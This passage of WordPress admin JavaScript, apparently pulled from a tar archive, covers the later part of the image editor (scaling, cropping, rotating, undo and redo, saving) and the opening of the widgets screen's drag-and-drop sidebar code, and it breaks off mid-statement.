The action to perform on the image. * The possible actions are: "scale" and "restore". * * @return {boolean|void} Executes a post request that refreshes the page * when the action is performed. * Returns false if an invalid action is given, * or when the action cannot be performed. */ action : function(postid, nonce, action) { var t = this, data, w, h, fw, fh; if ( t.notsaved(postid) ) { return false; } data = { 'action': 'image-editor', '_ajax_nonce': nonce, 'postid': postid }; if ( 'scale' === action ) { w = $('#imgedit-scale-width-' + postid), h = $('#imgedit-scale-height-' + postid), fw = t.intval(w.val()), fh = t.intval(h.val()); if ( fw < 1 ) { w.trigger( 'focus' ); return false; } else if ( fh < 1 ) { h.trigger( 'focus' ); return false; } if ( fw === t.hold.ow || fh === t.hold.oh ) { return false; } data['do'] = 'scale'; data.fwidth = fw; data.fheight = fh; } else if ( 'restore' === action ) { data['do'] = 'restore'; } else { return false; } t.toggleEditor(postid, 1); $.post( ajaxurl, data, function( response ) { $( '#image-editor-' + postid ).empty().append( response.data.html ); t.toggleEditor( postid, 0, true ); // Refresh the attachment model so that changes propagate. if ( t._view ) { t._view.refresh(); } } ).done( function( response ) { // Whether the executed action was `scale` or `restore`, the response does have a message. if ( response && response.data.message.msg ) { wp.a11y.speak( response.data.message.msg ); return; } if ( response && response.data.message.error ) { wp.a11y.speak( response.data.message.error ); } } ); }, /** * Stores the changes that are made to the image. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID to get the image from the database. * @param {string} nonce The nonce to verify the request. * * @return {boolean|void} If the actions are successfully saved a response message is shown. * Returns false if there is no image editing history, * thus there are not edit-actions performed on the image. */ save : function(postid, nonce) { var data, target = this.getTarget(postid), history = this.filterHistory(postid, 0), self = this; if ( '' === history ) { return false; } this.toggleEditor(postid, 1); data = { 'action': 'image-editor', '_ajax_nonce': nonce, 'postid': postid, 'history': history, 'target': target, 'context': $('#image-edit-context').length ? $('#image-edit-context').val() : null, 'do': 'save' }; // Post the image edit data to the backend. $.post( ajaxurl, data, function( response ) { // If a response is returned, close the editor and show an error. if ( response.data.error ) { $( '#imgedit-response-' + postid ) .html( '<div class="notice notice-error" tabindex="-1" role="alert"><p>' + response.data.error + '</p></div>' ); imageEdit.close(postid); wp.a11y.speak( response.data.error ); return; } if ( response.data.fw && response.data.fh ) { $( '#media-dims-' + postid ).html( response.data.fw + ' × ' + response.data.fh ); } if ( response.data.thumbnail ) { $( '.thumbnail', '#thumbnail-head-' + postid ).attr( 'src', '' + response.data.thumbnail ); } if ( response.data.msg ) { $( '#imgedit-response-' + postid ) .html( '<div class="notice notice-success" tabindex="-1" role="alert"><p>' + response.data.msg + '</p></div>' ); wp.a11y.speak( response.data.msg ); } if ( self._view ) { self._view.save(); } else { imageEdit.close(postid); } }); }, /** * Creates the image edit window. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID for the image. * @param {string} nonce The nonce to verify the request. * @param {Object} view The image editor view to be used for the editing. * * @return {void|promise} Either returns void if the button was already activated * or returns an instance of the image editor, wrapped in a promise. */ open : function( postid, nonce, view ) { this._view = view; var dfd, data, elem = $( '#image-editor-' + postid ), head = $( '#media-head-' + postid ), btn = $( '#imgedit-open-btn-' + postid ), spin = btn.siblings( '.spinner' ); /* * Instead of disabling the button, which causes a focus loss and makes screen * readers announce "unavailable", return if the button was already clicked. */ if ( btn.hasClass( 'button-activated' ) ) { return; } spin.addClass( 'is-active' ); data = { 'action': 'image-editor', '_ajax_nonce': nonce, 'postid': postid, 'do': 'open' }; dfd = $.ajax( { url: ajaxurl, type: 'post', data: data, beforeSend: function() { btn.addClass( 'button-activated' ); } } ).done( function( response ) { var errorMessage; if ( '-1' === response ) { errorMessage = __( 'Could not load the preview image.' ); elem.html( '<div class="notice notice-error" tabindex="-1" role="alert"><p>' + errorMessage + '</p></div>' ); } if ( response.data && response.data.html ) { elem.html( response.data.html ); } head.fadeOut( 'fast', function() { elem.fadeIn( 'fast', function() { if ( errorMessage ) { $( document ).trigger( 'image-editor-ui-ready' ); } } ); btn.removeClass( 'button-activated' ); spin.removeClass( 'is-active' ); } ); // Initialize the Image Editor now that everything is ready. imageEdit.init( postid ); } ); return dfd; }, /** * Initializes the cropping tool and sets a default cropping selection. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * * @return {void} */ imgLoaded : function(postid) { var img = $('#image-preview-' + postid), parent = $('#imgedit-crop-' + postid); // Ensure init has run even when directly loaded. if ( 'undefined' === typeof this.hold.sizer ) { this.init( postid ); } this.calculateImgSize( postid ); this.initCrop(postid, img, parent); this.setCropSelection( postid, { 'x1': 0, 'y1': 0, 'x2': 0, 'y2': 0, 'width': img.innerWidth(), 'height': img.innerHeight() } ); this.toggleEditor( postid, 0, true ); }, /** * Manages keyboard focus in the Image Editor user interface. * * @since 5.5.0 * * @return {void} */ focusManager: function() { /* * Editor is ready. Move focus to one of the admin alert notices displayed * after a user action or to the first focusable element. Since the DOM * update is pretty large, the timeout helps browsers update their * accessibility tree to better support assistive technologies. */ setTimeout( function() { var elementToSetFocusTo = $( '.notice[role="alert"]' ); if ( ! elementToSetFocusTo.length ) { elementToSetFocusTo = $( '.imgedit-wrap' ).find( ':tabbable:first' ); } elementToSetFocusTo.attr( 'tabindex', '-1' ).trigger( 'focus' ); }, 100 ); }, /** * Initializes the cropping tool. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * @param {HTMLElement} image The preview image. * @param {HTMLElement} parent The preview image container. * * @return {void} */ initCrop : function(postid, image, parent) { var t = this, selW = $('#imgedit-sel-width-' + postid), selH = $('#imgedit-sel-height-' + postid), $image = $( image ), $img; // Already initialized? if ( $image.data( 'imgAreaSelect' ) ) { return; } t.iasapi = $image.imgAreaSelect({ parent: parent, instance: true, handles: true, keys: true, minWidth: 3, minHeight: 3, /** * Sets the CSS styles and binds events for locking the aspect ratio. * * @ignore * * @param {jQuery} img The preview image. */ onInit: function( img ) { // Ensure that the imgAreaSelect wrapper elements are position:absolute // (even if we're in a position:fixed modal). $img = $( img ); $img.next().css( 'position', 'absolute' ) .nextAll( '.imgareaselect-outer' ).css( 'position', 'absolute' ); /** * Binds mouse down event to the cropping container. * * @return {void} */ parent.children().on( 'mousedown touchstart', function(e) { var ratio = false, sel = t.iasapi.getSelection(), cx = t.intval( $( '#imgedit-crop-width-' + postid ).val() ), cy = t.intval( $( '#imgedit-crop-height-' + postid ).val() ); if ( cx && cy ) { ratio = t.getSelRatio( postid ); } else if ( e.shiftKey && sel && sel.width && sel.height ) { ratio = sel.width + ':' + sel.height; } t.iasapi.setOptions({ aspectRatio: ratio }); }); }, /** * Event triggered when starting a selection. * * @ignore * * @return {void} */ onSelectStart: function() { imageEdit.setDisabled($('#imgedit-crop-sel-' + postid), 1); imageEdit.setDisabled($('.imgedit-crop-clear'), 1); imageEdit.setDisabled($('.imgedit-crop-apply'), 1); }, /** * Event triggered when the selection is ended. * * @ignore * * @param {Object} img jQuery object representing the image. * @param {Object} c The selection. * * @return {Object} */ onSelectEnd: function(img, c) { imageEdit.setCropSelection(postid, c); if ( ! $('#imgedit-crop > *').is(':visible') ) { imageEdit.toggleControls($('.imgedit-crop.button')); } }, /** * Event triggered when the selection changes. * * @ignore * * @param {Object} img jQuery object representing the image. * @param {Object} c The selection. * * @return {void} */ onSelectChange: function(img, c) { var sizer = imageEdit.hold.sizer, oldSel = imageEdit.currentCropSelection; if ( oldSel != null && oldSel.width == c.width && oldSel.height == c.height ) { return; } selW.val( Math.min( imageEdit.hold.w, imageEdit.round( c.width / sizer ) ) ); selH.val( Math.min( imageEdit.hold.h, imageEdit.round( c.height / sizer ) ) ); t.currentCropSelection = c; } }); }, /** * Stores the current crop selection. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * @param {Object} c The selection. * * @return {boolean} */ setCropSelection : function(postid, c) { var sel, selW = $( '#imgedit-sel-width-' + postid ), selH = $( '#imgedit-sel-height-' + postid ), sizer = this.hold.sizer, hold = this.hold; c = c || 0; if ( !c || ( c.width < 3 && c.height < 3 ) ) { this.setDisabled( $( '.imgedit-crop', '#imgedit-panel-' + postid ), 1 ); this.setDisabled( $( '#imgedit-crop-sel-' + postid ), 1 ); $('#imgedit-sel-width-' + postid).val(''); $('#imgedit-sel-height-' + postid).val(''); $('#imgedit-start-x-' + postid).val('0'); $('#imgedit-start-y-' + postid).val('0'); $('#imgedit-selection-' + postid).val(''); return false; } // adjust the selection within the bounds of the image on 100% scale var excessW = hold.w - ( Math.round( c.x1 / sizer ) + parseInt( selW.val() ) ); var excessH = hold.h - ( Math.round( c.y1 / sizer ) + parseInt( selH.val() ) ); var x = Math.round( c.x1 / sizer ) + Math.min( 0, excessW ); var y = Math.round( c.y1 / sizer ) + Math.min( 0, excessH ); // use 100% scaling to prevent rounding errors sel = { 'r': 1, 'x': x, 'y': y, 'w': selW.val(), 'h': selH.val() }; this.setDisabled($('.imgedit-crop', '#imgedit-panel-' + postid), 1); $('#imgedit-selection-' + postid).val( JSON.stringify(sel) ); }, /** * Closes the image editor. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * @param {boolean} warn Warning message. * * @return {void|boolean} Returns false if there is a warning. */ close : function(postid, warn) { warn = warn || false; if ( warn && this.notsaved(postid) ) { return false; } this.iasapi = {}; this.hold = {}; // If we've loaded the editor in the context of a Media Modal, // then switch to the previous view, whatever that might have been. if ( this._view ){ this._view.back(); } // In case we are not accessing the image editor in the context of a View, // close the editor the old-school way. else { $('#image-editor-' + postid).fadeOut('fast', function() { $( '#media-head-' + postid ).fadeIn( 'fast', function() { // Move focus back to the Edit Image button. Runs also when saving. $( '#imgedit-open-btn-' + postid ).trigger( 'focus' ); }); $(this).empty(); }); } }, /** * Checks if the image edit history is saved. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * * @return {boolean} Returns true if the history is not saved. */ notsaved : function(postid) { var h = $('#imgedit-history-' + postid).val(), history = ( h !== '' ) ? JSON.parse(h) : [], pop = this.intval( $('#imgedit-undone-' + postid).val() ); if ( pop < history.length ) { if ( confirm( $('#imgedit-leaving-' + postid).text() ) ) { return false; } return true; } return false; }, /** * Adds an image edit action to the history. * * @since 2.9.0 * * @memberof imageEdit * * @param {Object} op The original position. * @param {number} postid The post ID. * @param {string} nonce The nonce. * * @return {void} */ addStep : function(op, postid, nonce) { var t = this, elem = $('#imgedit-history-' + postid), history = ( elem.val() !== '' ) ? JSON.parse( elem.val() ) : [], undone = $( '#imgedit-undone-' + postid ), pop = t.intval( undone.val() ); while ( pop > 0 ) { history.pop(); pop--; } undone.val(0); // Reset. history.push(op); elem.val( JSON.stringify(history) ); t.refreshEditor(postid, nonce, function() { t.setDisabled($('#image-undo-' + postid), true); t.setDisabled($('#image-redo-' + postid), false); }); }, /** * Rotates the image. * * @since 2.9.0 * * @memberof imageEdit * * @param {string} angle The angle the image is rotated with. * @param {number} postid The post ID. * @param {string} nonce The nonce. * @param {Object} t The target element. * * @return {boolean} */ rotate : function(angle, postid, nonce, t) { if ( $(t).hasClass('disabled') ) { return false; } this.closePopup(t); this.addStep({ 'r': { 'r': angle, 'fw': this.hold.h, 'fh': this.hold.w }}, postid, nonce); // Clear the selection fields after rotating. $( '#imgedit-sel-width-' + postid ).val( '' ); $( '#imgedit-sel-height-' + postid ).val( '' ); this.currentCropSelection = null; }, /** * Flips the image. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} axis The axle the image is flipped on. * @param {number} postid The post ID. * @param {string} nonce The nonce. * @param {Object} t The target element. * * @return {boolean} */ flip : function (axis, postid, nonce, t) { if ( $(t).hasClass('disabled') ) { return false; } this.closePopup(t); this.addStep({ 'f': { 'f': axis, 'fw': this.hold.w, 'fh': this.hold.h }}, postid, nonce); // Clear the selection fields after flipping. $( '#imgedit-sel-width-' + postid ).val( '' ); $( '#imgedit-sel-height-' + postid ).val( '' ); this.currentCropSelection = null; }, /** * Crops the image. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * @param {string} nonce The nonce. * @param {Object} t The target object. * * @return {void|boolean} Returns false if the crop button is disabled. */ crop : function (postid, nonce, t) { var sel = $('#imgedit-selection-' + postid).val(), w = this.intval( $('#imgedit-sel-width-' + postid).val() ), h = this.intval( $('#imgedit-sel-height-' + postid).val() ); if ( $(t).hasClass('disabled') || sel === '' ) { return false; } sel = JSON.parse(sel); if ( sel.w > 0 && sel.h > 0 && w > 0 && h > 0 ) { sel.fw = w; sel.fh = h; this.addStep({ 'c': sel }, postid, nonce); } // Clear the selection fields after cropping. $( '#imgedit-sel-width-' + postid ).val( '' ); $( '#imgedit-sel-height-' + postid ).val( '' ); $( '#imgedit-start-x-' + postid ).val( '0' ); $( '#imgedit-start-y-' + postid ).val( '0' ); this.currentCropSelection = null; }, /** * Undoes an image edit action. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * @param {string} nonce The nonce. * * @return {void|false} Returns false if the undo button is disabled. */ undo : function (postid, nonce) { var t = this, button = $('#image-undo-' + postid), elem = $('#imgedit-undone-' + postid), pop = t.intval( elem.val() ) + 1; if ( button.hasClass('disabled') ) { return; } elem.val(pop); t.refreshEditor(postid, nonce, function() { var elem = $('#imgedit-history-' + postid), history = ( elem.val() !== '' ) ? JSON.parse( elem.val() ) : []; t.setDisabled($('#image-redo-' + postid), true); t.setDisabled(button, pop < history.length); // When undo gets disabled, move focus to the redo button to avoid a focus loss. if ( history.length === pop ) { $( '#image-redo-' + postid ).trigger( 'focus' ); } }); }, /** * Reverts a undo action. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * @param {string} nonce The nonce. * * @return {void} */ redo : function(postid, nonce) { var t = this, button = $('#image-redo-' + postid), elem = $('#imgedit-undone-' + postid), pop = t.intval( elem.val() ) - 1; if ( button.hasClass('disabled') ) { return; } elem.val(pop); t.refreshEditor(postid, nonce, function() { t.setDisabled($('#image-undo-' + postid), true); t.setDisabled(button, pop > 0); // When redo gets disabled, move focus to the undo button to avoid a focus loss. if ( 0 === pop ) { $( '#image-undo-' + postid ).trigger( 'focus' ); } }); }, /** * Sets the selection for the height and width in pixels. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * @param {jQuery} el The element containing the values. * * @return {void|boolean} Returns false when the x or y value is lower than 1, * void when the value is not numeric or when the operation * is successful. */ setNumSelection : function( postid, el ) { var sel, elX = $('#imgedit-sel-width-' + postid), elY = $('#imgedit-sel-height-' + postid), elX1 = $('#imgedit-start-x-' + postid), elY1 = $('#imgedit-start-y-' + postid), xS = this.intval( elX1.val() ), yS = this.intval( elY1.val() ), x = this.intval( elX.val() ), y = this.intval( elY.val() ), img = $('#image-preview-' + postid), imgh = img.height(), imgw = img.width(), sizer = this.hold.sizer, x1, y1, x2, y2, ias = this.iasapi; this.currentCropSelection = null; if ( false === this.validateNumeric( el ) ) { return; } if ( x < 1 ) { elX.val(''); return false; } if ( y < 1 ) { elY.val(''); return false; } if ( ( ( x && y ) || ( xS && yS ) ) && ( sel = ias.getSelection() ) ) { x2 = sel.x1 + Math.round( x * sizer ); y2 = sel.y1 + Math.round( y * sizer ); x1 = ( xS === sel.x1 ) ? sel.x1 : Math.round( xS * sizer ); y1 = ( yS === sel.y1 ) ? sel.y1 : Math.round( yS * sizer ); if ( x2 > imgw ) { x1 = 0; x2 = imgw; elX.val( Math.min( this.hold.w, Math.round( x2 / sizer ) ) ); } if ( y2 > imgh ) { y1 = 0; y2 = imgh; elY.val( Math.min( this.hold.h, Math.round( y2 / sizer ) ) ); } ias.setSelection( x1, y1, x2, y2 ); ias.update(); this.setCropSelection(postid, ias.getSelection()); this.currentCropSelection = ias.getSelection(); } }, /** * Rounds a number to a whole. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} num The number. * * @return {number} The number rounded to a whole number. */ round : function(num) { var s; num = Math.round(num); if ( this.hold.sizer > 0.6 ) { return num; } s = num.toString().slice(-1); if ( '1' === s ) { return num - 1; } else if ( '9' === s ) { return num + 1; } return num; }, /** * Sets a locked aspect ratio for the selection. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * @param {number} n The ratio to set. * @param {jQuery} el The element containing the values. * * @return {void} */ setRatioSelection : function(postid, n, el) { var sel, r, x = this.intval( $('#imgedit-crop-width-' + postid).val() ), y = this.intval( $('#imgedit-crop-height-' + postid).val() ), h = $('#image-preview-' + postid).height(); if ( false === this.validateNumeric( el ) ) { this.iasapi.setOptions({ aspectRatio: null }); return; } if ( x && y ) { this.iasapi.setOptions({ aspectRatio: x + ':' + y }); if ( sel = this.iasapi.getSelection(true) ) { r = Math.ceil( sel.y1 + ( ( sel.x2 - sel.x1 ) / ( x / y ) ) ); if ( r > h ) { r = h; var errorMessage = __( 'Selected crop ratio exceeds the boundaries of the image. Try a different ratio.' ); $( '#imgedit-crop-' + postid ) .prepend( '<div class="notice notice-error" tabindex="-1" role="alert"><p>' + errorMessage + '</p></div>' ); wp.a11y.speak( errorMessage, 'assertive' ); if ( n ) { $('#imgedit-crop-height-' + postid).val( '' ); } else { $('#imgedit-crop-width-' + postid).val( ''); } } else { var error = $( '#imgedit-crop-' + postid ).find( '.notice-error' ); if ( 'undefined' !== typeof( error ) ) { error.remove(); } } this.iasapi.setSelection( sel.x1, sel.y1, sel.x2, r ); this.iasapi.update(); } } }, /** * Validates if a value in a jQuery.HTMLElement is numeric. * * @since 4.6.0 * * @memberof imageEdit * * @param {jQuery} el The html element. * * @return {void|boolean} Returns false if the value is not numeric, * void when it is. */ validateNumeric: function( el ) { if ( false === this.intval( $( el ).val() ) ) { $( el ).val( '' ); return false; } } }; })(jQuery); widgets.js 0000644 00000055072 15174417325 0006572 0 ustar 00 /** * @output wp-admin/js/widgets.js */ /* global ajaxurl, isRtl, wpWidgets */ (function($) { var $document = $( document ); window.wpWidgets = { /** * A closed Sidebar that gets a Widget dragged over it. * * @var {element|null} */ hoveredSidebar: null, /** * Lookup of which widgets have had change events triggered. * * @var {object} */ dirtyWidgets: {}, init : function() { var rem, the_id, self = this, chooser = $('.widgets-chooser'), selectSidebar = chooser.find('.widgets-chooser-sidebars'), sidebars = $('div.widgets-sortables'), isRTL = !! ( 'undefined' !== typeof isRtl && isRtl ); // Handle the widgets containers in the right column. $( '#widgets-right .sidebar-name' ) /* * Toggle the widgets containers when clicked and update the toggle * button `aria-expanded` attribute value. */ .on( 'click', function() { var $this = $( this ), $wrap = $this.closest( '.widgets-holder-wrap '), $toggle = $this.find( '.handlediv' ); if ( $wrap.hasClass( 'closed' ) ) { $wrap.removeClass( 'closed' ); $toggle.attr( 'aria-expanded', 'true' ); // Refresh the jQuery UI sortable items. $this.parent().sortable( 'refresh' ); } else { $wrap.addClass( 'closed' ); $toggle.attr( 'aria-expanded', 'false' ); } // Update the admin menu "sticky" state. $document.triggerHandler( 'wp-pin-menu' ); }) /* * Set the initial `aria-expanded` attribute value on the widgets * containers toggle button. The first one is expanded by default. */ .find( '.handlediv' ).each( function( index ) { if ( 0 === index ) { // jQuery equivalent of `continue` within an `each()` loop. return; } $( this ).attr( 'aria-expanded', 'false' ); }); // Show AYS dialog when there are unsaved widget changes. $( window ).on( 'beforeunload.widgets', function( event ) { var dirtyWidgetIds = [], unsavedWidgetsElements; $.each( self.dirtyWidgets, function( widgetId, dirty ) { if ( dirty ) { dirtyWidgetIds.push( widgetId ); } }); if ( 0 !== dirtyWidgetIds.length ) { unsavedWidgetsElements = $( '#widgets-right' ).find( '.widget' ).filter( function() { return -1 !== dirtyWidgetIds.indexOf( $( this ).prop( 'id' ).replace( /^widget-\d+_/, '' ) ); }); unsavedWidgetsElements.each( function() { if ( ! $( this ).hasClass( 'open' ) ) { $( this ).find( '.widget-title-action:first' ).trigger( 'click' ); } }); // Bring the first unsaved widget into view and focus on the first tabbable field. unsavedWidgetsElements.first().each( function() { if ( this.scrollIntoViewIfNeeded ) { this.scrollIntoViewIfNeeded(); } else { this.scrollIntoView(); } $( this ).find( '.widget-inside :tabbable:first' ).trigger( 'focus' ); } ); event.returnValue = wp.i18n.__( 'The changes you made will be lost if you navigate away from this page.' ); return event.returnValue; } }); // Handle the widgets containers in the left column. $( '#widgets-left .sidebar-name' ).on( 'click', function() { var $wrap = $( this ).closest( '.widgets-holder-wrap' ); $wrap .toggleClass( 'closed' ) .find( '.handlediv' ).attr( 'aria-expanded', ! $wrap.hasClass( 'closed' ) ); // Update the admin menu "sticky" state. $document.triggerHandler( 'wp-pin-menu' ); }); $(document.body).on('click.widgets-toggle', function(e) { var target = $(e.target), css = {}, widget, inside, targetWidth, widgetWidth, margin, saveButton, widgetId, toggleBtn = target.closest( '.widget' ).find( '.widget-top button.widget-action' ); if ( target.parents('.widget-top').length && ! target.parents('#available-widgets').length ) { widget = target.closest('div.widget'); inside = widget.children('.widget-inside'); targetWidth = parseInt( widget.find('input.widget-width').val(), 10 ); widgetWidth = widget.parent().width(); widgetId = inside.find( '.widget-id' ).val(); // Save button is initially disabled, but is enabled when a field is changed. if ( ! widget.data( 'dirty-state-initialized' ) ) { saveButton = inside.find( '.widget-control-save' ); saveButton.prop( 'disabled', true ).val( wp.i18n.__( 'Saved' ) ); inside.on( 'input change', function() { self.dirtyWidgets[ widgetId ] = true; widget.addClass( 'widget-dirty' ); saveButton.prop( 'disabled', false ).val( wp.i18n.__( 'Save' ) ); }); widget.data( 'dirty-state-initialized', true ); } if ( inside.is(':hidden') ) { if ( targetWidth > 250 && ( targetWidth + 30 > widgetWidth ) && widget.closest('div.widgets-sortables').length ) { if ( widget.closest('div.widget-liquid-right').length ) { margin = isRTL ? 'margin-right' : 'margin-left'; } else { margin = isRTL ? 'margin-left' : 'margin-right'; } css[ margin ] = widgetWidth - ( targetWidth + 30 ) + 'px'; widget.css( css ); } /* * Don't change the order of attributes changes and animation: * it's important for screen readers, see ticket #31476. */ toggleBtn.attr( 'aria-expanded', 'true' ); inside.slideDown( 'fast', function() { widget.addClass( 'open' ); }); } else { /* * Don't change the order of attributes changes and animation: * it's important for screen readers, see ticket #31476. */ toggleBtn.attr( 'aria-expanded', 'false' ); inside.slideUp( 'fast', function() { widget.attr( 'style', '' ); widget.removeClass( 'open' ); }); } } else if ( target.hasClass('widget-control-save') ) { wpWidgets.save( target.closest('div.widget'), 0, 1, 0 ); e.preventDefault(); } else if ( target.hasClass('widget-control-remove') ) { wpWidgets.save( target.closest('div.widget'), 1, 1, 0 ); } else if ( target.hasClass('widget-control-close') ) { widget = target.closest('div.widget'); widget.removeClass( 'open' ); toggleBtn.attr( 'aria-expanded', 'false' ); wpWidgets.close( widget ); } else if ( target.attr( 'id' ) === 'inactive-widgets-control-remove' ) { wpWidgets.removeInactiveWidgets(); e.preventDefault(); } }); sidebars.children('.widget').each( function() { var $this = $(this); wpWidgets.appendTitle( this ); if ( $this.find( 'p.widget-error' ).length ) { $this.find( '.widget-action' ).trigger( 'click' ).attr( 'aria-expanded', 'true' ); } }); $('#widget-list').children('.widget').draggable({ connectToSortable: 'div.widgets-sortables', handle: '> .widget-top > .widget-title', distance: 2, helper: 'clone', zIndex: 101, containment: '#wpwrap', refreshPositions: true, start: function( event, ui ) { var chooser = $(this).find('.widgets-chooser'); ui.helper.find('div.widget-description').hide(); the_id = this.id; if ( chooser.length ) { // Hide the chooser and move it out of the widget. $( '#wpbody-content' ).append( chooser.hide() ); // Delete the cloned chooser from the drag helper. ui.helper.find('.widgets-chooser').remove(); self.clearWidgetSelection(); } }, stop: function() { if ( rem ) { $(rem).hide(); } rem = ''; } }); /** * Opens and closes previously closed Sidebars when Widgets are dragged over/out of them. */ sidebars.droppable( { tolerance: 'intersect', /** * Open Sidebar when a Widget gets dragged over it. * * @ignore * * @param {Object} event jQuery event object. */ over: function( event ) { var $wrap = $( event.target ).parent(); if ( wpWidgets.hoveredSidebar && ! $wrap.is( wpWidgets.hoveredSidebar ) ) { // Close the previous Sidebar as the Widget has been dragged onto another Sidebar. wpWidgets.closeSidebar( event ); } if ( $wrap.hasClass( 'closed' ) ) { wpWidgets.hoveredSidebar = $wrap; $wrap .removeClass( 'closed' ) .find( '.handlediv' ).attr( 'aria-expanded', 'true' ); } $( this ).sortable( 'refresh' ); }, /** * Close Sidebar when the Widget gets dragged out of it. * * @ignore * * @param {Object} event jQuery event object. */ out: function( event ) { if ( wpWidgets.hoveredSidebar ) { wpWidgets.closeSidebar( event ); } } } ); sidebars.sortable({ placeholder: 'widget-placeholder', items: '> .widget', handle: '> .widget-top > .widget-title', cursor: 'move', distance: 2, containment: '#wpwrap', tolerance: 'pointer', refreshPositions: true, start: function( event, ui ) { var height, $this = $(this), $wrap = $this.parent(), inside = ui.item.children('.widget-inside'); if ( inside.css('display') === 'block' ) { ui.item.removeClass('open'); ui.item.find( '.widget-top button.widget-action' ).attr( 'aria-expanded', 'false' ); inside.hide(); $(this).sortable('refreshPositions'); } if ( ! $wrap.hasClass('closed') ) { // Lock all open sidebars min-height when starting to drag. // Prevents jumping when dragging a widget from an open sidebar to a closed sidebar below. height = ui.item.hasClass('ui-draggable') ? $this.height() : 1 + $this.height(); $this.css( 'min-height', height + 'px' ); } }, stop: function( event, ui ) { var addNew, widgetNumber, $sidebar, $children, child, item, $widget = ui.item, id = the_id; // Reset the var to hold a previously closed sidebar. wpWidgets.hoveredSidebar = null; if ( $widget.hasClass('deleting') ) { wpWidgets.save( $widget, 1, 0, 1 ); // Delete widget. $widget.remove(); return; } addNew = $widget.find('input.add_new').val(); widgetNumber = $widget.find('input.multi_number').val(); $widget.attr( 'style', '' ).removeClass('ui-draggable'); the_id = ''; if ( addNew ) { if ( 'multi' === addNew ) { $widget.html( $widget.html().replace( /<[^<>]+>/g, function( tag ) { return tag.replace( /__i__|%i%/g, widgetNumber ); }) ); $widget.attr( 'id', id.replace( '__i__', widgetNumber ) ); widgetNumber++; $( 'div#' + id ).find( 'input.multi_number' ).val( widgetNumber ); } else if ( 'single' === addNew ) { $widget.attr( 'id', 'new-' + id ); rem = 'div#' + id; } wpWidgets.save( $widget, 0, 0, 1 ); $widget.find('input.add_new').val(''); $document.trigger( 'widget-added', [ $widget ] ); } $sidebar = $widget.parent(); if ( $sidebar.parent().hasClass('closed') ) { $sidebar.parent() .removeClass( 'closed' ) .find( '.handlediv' ).attr( 'aria-expanded', 'true' ); $children = $sidebar.children('.widget'); // Make sure the dropped widget is at the top. if ( $children.length > 1 ) { child = $children.get(0); item = $widget.get(0); if ( child.id && item.id && child.id !== item.id ) { $( child ).before( $widget ); } } } if ( addNew ) { $widget.find( '.widget-action' ).trigger( 'click' ); } else { wpWidgets.saveOrder( $sidebar.attr('id') ); } }, activate: function() { $(this).parent().addClass( 'widget-hover' ); }, deactivate: function() { // Remove all min-height added on "start". $(this).css( 'min-height', '' ).parent().removeClass( 'widget-hover' ); }, receive: function( event, ui ) { var $sender = $( ui.sender ); // Don't add more widgets to orphaned sidebars. if ( this.id.indexOf('orphaned_widgets') > -1 ) { $sender.sortable('cancel'); return; } // If the last widget was moved out of an orphaned sidebar, close and remove it. if ( $sender.attr('id').indexOf('orphaned_widgets') > -1 && ! $sender.children('.widget').length ) { $sender.parents('.orphan-sidebar').slideUp( 400, function(){ $(this).remove(); } ); } } }).sortable( 'option', 'connectWith', 'div.widgets-sortables' ); $('#available-widgets').droppable({ tolerance: 'pointer', accept: function(o){ return $(o).parent().attr('id') !== 'widget-list'; }, drop: function(e,ui) { ui.draggable.addClass('deleting'); $('#removing-widget').hide().children('span').empty(); }, over: function(e,ui) { ui.draggable.addClass('deleting'); $('div.widget-placeholder').hide(); if ( ui.draggable.hasClass('ui-sortable-helper') ) { $('#removing-widget').show().children('span') .html( ui.draggable.find( 'div.widget-title' ).children( 'h3' ).html() ); } }, out: function(e,ui) { ui.draggable.removeClass('deleting'); $('div.widget-placeholder').show(); $('#removing-widget').hide().children('span').empty(); } }); // Area Chooser. $( '#widgets-right .widgets-holder-wrap' ).each( function( index, element ) { var $element = $( element ), name = $element.find( '.sidebar-name h2' ).text() || '', ariaLabel = $element.find( '.sidebar-name' ).data( 'add-to' ), id = $element.find( '.widgets-sortables' ).attr( 'id' ), li = $( '<li>' ), button = $( '<button>', { type: 'button', 'aria-pressed': 'false', 'class': 'widgets-chooser-button', 'aria-label': ariaLabel } ).text( name.toString().trim() ); li.append( button ); if ( index === 0 ) { li.addClass( 'widgets-chooser-selected' ); button.attr( 'aria-pressed', 'true' ); } selectSidebar.append( li ); li.data( 'sidebarId', id ); }); $( '#available-widgets .widget .widget-top' ).on( 'click.widgets-chooser', function() { var $widget = $( this ).closest( '.widget' ), toggleButton = $( this ).find( '.widget-action' ), chooserButtons = selectSidebar.find( '.widgets-chooser-button' ); if ( $widget.hasClass( 'widget-in-question' ) || $( '#widgets-left' ).hasClass( 'chooser' ) ) { toggleButton.attr( 'aria-expanded', 'false' ); self.closeChooser(); } else { // Open the chooser. self.clearWidgetSelection(); $( '#widgets-left' ).addClass( 'chooser' ); // Add CSS class and insert the chooser after the widget description. $widget.addClass( 'widget-in-question' ).children( '.widget-description' ).after( chooser ); // Open the chooser with a slide down animation. chooser.slideDown( 300, function() { // Update the toggle button aria-expanded attribute after previous DOM manipulations. toggleButton.attr( 'aria-expanded', 'true' ); }); chooserButtons.on( 'click.widgets-chooser', function() { selectSidebar.find( '.widgets-chooser-selected' ).removeClass( 'widgets-chooser-selected' ); chooserButtons.attr( 'aria-pressed', 'false' ); $( this ) .attr( 'aria-pressed', 'true' ) .closest( 'li' ).addClass( 'widgets-chooser-selected' ); } ); } }); // Add event handlers. chooser.on( 'click.widgets-chooser', function( event ) { var $target = $( event.target ); if ( $target.hasClass('button-primary') ) { self.addWidget( chooser ); self.closeChooser(); } else if ( $target.hasClass( 'widgets-chooser-cancel' ) ) { self.closeChooser(); } }).on( 